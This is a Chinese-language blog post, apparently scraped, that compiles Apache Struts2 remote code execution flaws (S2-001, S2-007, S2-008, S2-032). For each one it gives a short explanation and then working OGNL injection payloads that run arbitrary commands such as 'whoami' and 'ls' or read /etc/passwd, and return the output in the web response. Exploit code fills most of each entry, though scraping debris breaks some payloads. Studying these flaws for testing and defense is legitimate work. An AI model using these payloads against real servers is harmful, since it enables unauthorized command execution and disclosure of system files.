1. 程式人生 > >struts2遠程代碼執行漏洞匯總整理

struts2遠程代碼執行漏洞匯總整理

lse pri sca cookie and 漏洞原理 ognl表達式 tac struts2配置

一、S2-001

1、漏洞原理

在默認配置下,如果用戶所提交的表單出現驗證錯誤,後端會對用戶的輸入進行解析處理,然後返回並顯示處理結果。 舉個例子,當你提交的登錄表單為username=xishir&password=%{1+1}時,後端驗證登錄失敗後會返回登錄界面並顯示你的輸入,這時password字段中的OGNL表達式已經被解析處理過了,所以會顯示%{1+1}的解析結果2,從而可以構造payload進行RCE。

2、POC

獲取tomcat執行路徑:
%{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}
獲取Web路徑:
%{
#[email protected]@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath(‘/‘)),
#response.flush(),
#response.close()
}
執行任意命令:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
執行任意命令時,如果所執行的命令需要組合,則將上述 payload 改為:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

二、S2-007

1、漏洞原理

如下age來自於用戶輸入,傳遞一個非整數給id導致錯誤,struts會將用戶的輸入當作ongl表達式執行,從而導致了漏洞。

技術分享圖片

2、POC

命令加參數:getRuntime().exec(‘cat /etc/passwd’)

‘ + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘cat /etc/passwd‘).getInputStream())) + ‘

技術分享圖片

三、S2-008

1、漏洞原理

cookiename沒有做特殊字符的限制,會被當作ognl代碼執行;debug調試模式,直接傳入ongl表達式執行。

2、POC

/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27cat /etc/passwd%27%29.getInputStream%28%29%29)

技術分享圖片

S2-032

1、漏洞原理

此次漏洞存在於struts2的動態方法引用功能。只要在struts2配置文件中開啟該功能,就可能被利用。

<constant name=”struts.enable.DynamicMethodInvocation” value=”true” />

如果我們請求http://localhost/index.action?method:OGNL的情況下,請求的OGNL表達式會被執行,造成命令執行。

2、POC

http://127.0.0.1/memoindex.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23context[%23parameters.obj[0]].getWriter().print(%23parameters.content[0]%2b602%2b53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086


cmd後面是要執行的命令

http://127.0.0.1/memoindex.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=ls

三、

struts2遠程代碼執行漏洞匯總整理